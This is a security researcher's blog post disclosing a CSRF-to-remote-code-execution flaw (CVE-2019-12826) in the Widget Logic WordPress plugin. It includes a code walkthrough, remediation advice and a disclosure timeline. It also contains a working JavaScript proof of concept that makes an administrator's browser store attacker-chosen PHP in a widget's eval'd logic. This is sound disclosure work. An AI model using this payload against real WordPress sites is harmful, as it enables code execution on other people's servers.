WordPress
RCE
CSRF

Widget Logic <= 5.9.0 CSRF to RCE (CVE-2019-12826)

Published on 28.06.2019

TL;DR

Widget Logic provides a comfortable way to dynamically toggle widget visibility with custom PHP code. By eval'ing the logic registered for each widget, the plugin determines if it should be shown or not. Due to a nested CSRF vulnerability, attackers are able to make administrators add malicious code to custom sidebar widgets registered with wp_register_sidebar_widget. This results in a Remote Code Execution. As of 12.06.2019, the plugin has over 300.000 active installations and 2.2 million downloads.

Therefore Widget Logic is one of the most popular open source WordPress plugins tracked by WP. The wide impact of the vulnerability underlines the fact that blog administrators should be skeptical and very cautious when receiving comments on their blogs or any inquiry that includes a link.

Code analysis

WordPress ships with a bunch of pre-created widgets such as a search or categories. Once added to the page, they will get an internal ID with the following format: [WIDGET_NAME]-[INDEX]. So for the second categories widget the id looks like this categories-2.

Custom sidebar widgets registered with wp_register_sidebar_widget have a different ID format. First parameter passed to the function will be the ID for the widget. This is an important difference for the discovered vulnerability. There is no dash in there by default.

For testing purposed, we are adding the following widget:

wp_register_sidebar_widget(
    'my_tester_widget',
    '1337 Widget',
    'your_widget_display',
    [
        'description' => 'Adds 1337 capabilities to your sidebar.',
    ]
);

function your_widget_display($arguments) {
    echo 'My widget is being displayed.';
}

Parameter 3 is the actual widget logic. Therefore we should see My widget is being displayed. in our footer widget zone we added it add via /wp-admin/widgets.php. Our widget ID is now my_tester_widget.

Widget output

Basically the plugin is just extending existing WordPress functionality for editing widget configurations by attaching a filter to the widget_update_callback hook:

add_filter( 'widget_update_callback', 'widget_logic_update_callback', 10, 4);

This implementation should be safe.

But here the difference in the widget IDs comes into play. If the current page is administrative (i.e. is_admin() is true), the following action will be added to widgets_init, which fires after all default WordPress widgets have been registered:

add_action( 'widgets_init', 'widget_logic_add_controls', 999 );

Within widget_logic_add_controls, the plugin is iterating over all registered widgets and tries to match widget IDs with a regular expression:

if ( preg_match( '/^(.+)-(\d+)$/', $id) )
    continue;

Remember the format for default widgets? Correct, it will skip them as categories-1 matches the expression, for example. my_tester_widget does not. So it proceeds:

if ( !isset( $wp_registered_widget_controls[ $id ] ) )
{
    wp_register_widget_control( $id, $id, 'widget_logic_extra_control', array(), $id, null );
    continue;
}

If there is no registered widget control for the current ID yet, it will add function widget_logic_extra_control to it. widget_logic_extra_control starts by extracting passed parameters $args = func_get_args();.

It will extract the callback and the widget ID in order to save both information in a variable:

$callback = array_pop( $args );
$widget_id = array_pop( $args );

The most important part is coming right after:

if ( isset( $_POST["widget-$widget_id"]['widget_logic'] ) )
{
    $logic = stripslashes( $_POST["widget-$widget_id"]['widget_logic'] );
    widget_logic_save( $widget_id, $logic );
}

It will look for POST parameters such as the widget ID prefixed by widget- and a key (widget_logic) in that which represents the PHP code that should be executed to determine the visibility. The widget ID and code in $logic is then being passed to widget_logic_save.

Again, the widget ID will be checked if ( preg_match( '/^(.+)-(\d+)$/', $widget_id, $m ) ). The result is still false, so we are jumping straight into the else block:

$info = (array)get_option( 'widget_'.$widget_id, array() );
$info['widget_logic'] = $logic;
update_option( 'widget_'.$widget_id, $info );

It will grab the current information for the widget in the WordPress option table and adds/overwrites the widget_logic key (the malicious PHP code) and persists it in the database. There was no check for any CSRF token, a specific page or anything in place to this point. The critical logic has been executed already. Every visit of a page with the widget will eval the malicious code the administrator has been tricked into adding by an attacker via the CSRF vulnerability.

To date, I still don't know how this code is being used. Maybe I missed an occourence of where this is actively in use. Forgotten legacy code might be an option too.

The following filter is responsible for hiding and showing widgets add_filter( 'sidebars_widgets', 'widget_logic_filter_sidebars_widgets', 10);. widget_logic_filter_sidebars_widgets will iterate over all widgets and retrieve the logic (PHP code) with widget_logic_by_id by querying the option entry that has been updated above. The logic will ultimately be executed in widget_logic_check_logic( $logic ):

$logic = @trim( (string)$logic );
$logic = apply_filters( "widget_logic_eval_override", $logic );

if ( is_bool( $logic ) )
    return $logic;

if ( $logic === '' )
    return true;

if ( stristr( $logic, "return" ) === false )
    $logic = "return ( $logic );";

set_error_handler( 'widget_logic_error_handler' );

try {
    $show_widget = eval($logic);
}

[...]

Again, all logic will be registered if the current page belongs to an administrative module of WordPress. ìs_admin() does not check user roles or permissions. As a result, an unauthenticated attacker can send a request to endpoints like /wp-admin/admin-ajax.php or /wp-admin/admin-post.php and trigger the functionality, too. It does not seem like this is exploitable as a guest though, because the callback for the widget added via wp_register_widget_control is not being executed. According to the documentation, the function registers widget control callback for customizing options. I believe that this type of customization is only available in the administration backend for authenticated users with according permissions. If there is an unauthenticated endpoint for which is_admin() evaluates to true, default WordPress widgets are being registered (= widgets_init hook will be executed) and wp_register_widget_control callbacks are run, this can be exploited as a guest, which removes the need for tricking a blog administrator to take an action. Please feel free to get in touch if this scenario does exist.

PoC

<script>
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "https:\/\/wordpress.local\/wp-admin\/customize.php?return=%2Fwp-admin%2Fwidgets.php", true);
    xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
    xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
    xhr.withCredentials = true;
    var body = "widget-my_tester_widget[widget_logic]=echo 'You have been hacked.'; return true;";
    var aBody = new Uint8Array(body.length);
    for (var i = 0; i < aBody.length; i++)
        aBody[i] = body.charCodeAt(i);
    xhr.send(new Blob([aBody]));
</script>

As explained above, the endpoint for the PoC just needs to register the widgets, could be replaced with any other page. The PoC adds malicious PHP code (echo 'You have been hacked.'; return true;) to our widget's (my_tester_widget) widget logic. Afterwards, visiting any page should display You have been hacked.:

Proof of Concept example output

Luckily, due to the fact that the malicious actor needs to find an applicable widget identifier, a mass exploitation of this issue is rather unlikely with just the plugin itself. However, in a targeted attack, the problem outlined here gives hackers a starting point for a critical vulnerability. Additionally, it should be kept in mind, that most blogs install several plugins to easily extend their pages functionality. Fingerprinting the most popular plugins and possible widgets they register is a concept of abusing this at scale.

After all, as mentioned at the beginning, a certain mistrust at links you receive is especially helpful (but not exclusively) for running a WordPress website.

Remediation

In case the vulnerable update code is in fact not being used anymore, it can simply be removed. Otherwise creating and sending a WordPress Nonce with the request is the way to go. Verify the Nonce before updating the option entry.

Timeline

12.06.2019 - Reached out to vendor
13.06.2019 - Got in touch with vendor
13.06.2019 - Full details disclosed
26.06.2019 - Version 5.10.2 has been published

Note in regard to an article and Twitter thread by pluginvulnerabilities.com

The developer of Widget Logic was kind enough to add a credit into the changelog for my disclosure: "The plugin's security has been improved, big thanks to Paul Dannewitz for his excellent security audit!". It should also be kept in mind that the plugin is free to use and open source. They created it and fixed the vulnerability free of charge. We should be thankful for that.

In their publication, they asked why there is another low-severity CSRF vulnerability in the plugin, if an excellent security audit has already been done. Well, the credit might be a bit badly worded. They did not hire me to do a full security audit of the plugin nor did I do that or have been paid a single penny. I discovered the vulnerability in my free time and responsibly disclosed it to them to make the web a bit more secure. That is it. It feels really bad that my abilities are publicly doubted for it. I was happy that I've never been involved in infosec drama yet and I hope it was the first and last one.

With these words in mind, do good and stop hating each other online for no reason.

Related posts

Did you have a nice stay? You might also like the following articles, as they are related to at least one of the current posts tags: WordPress, RCE, CSRF.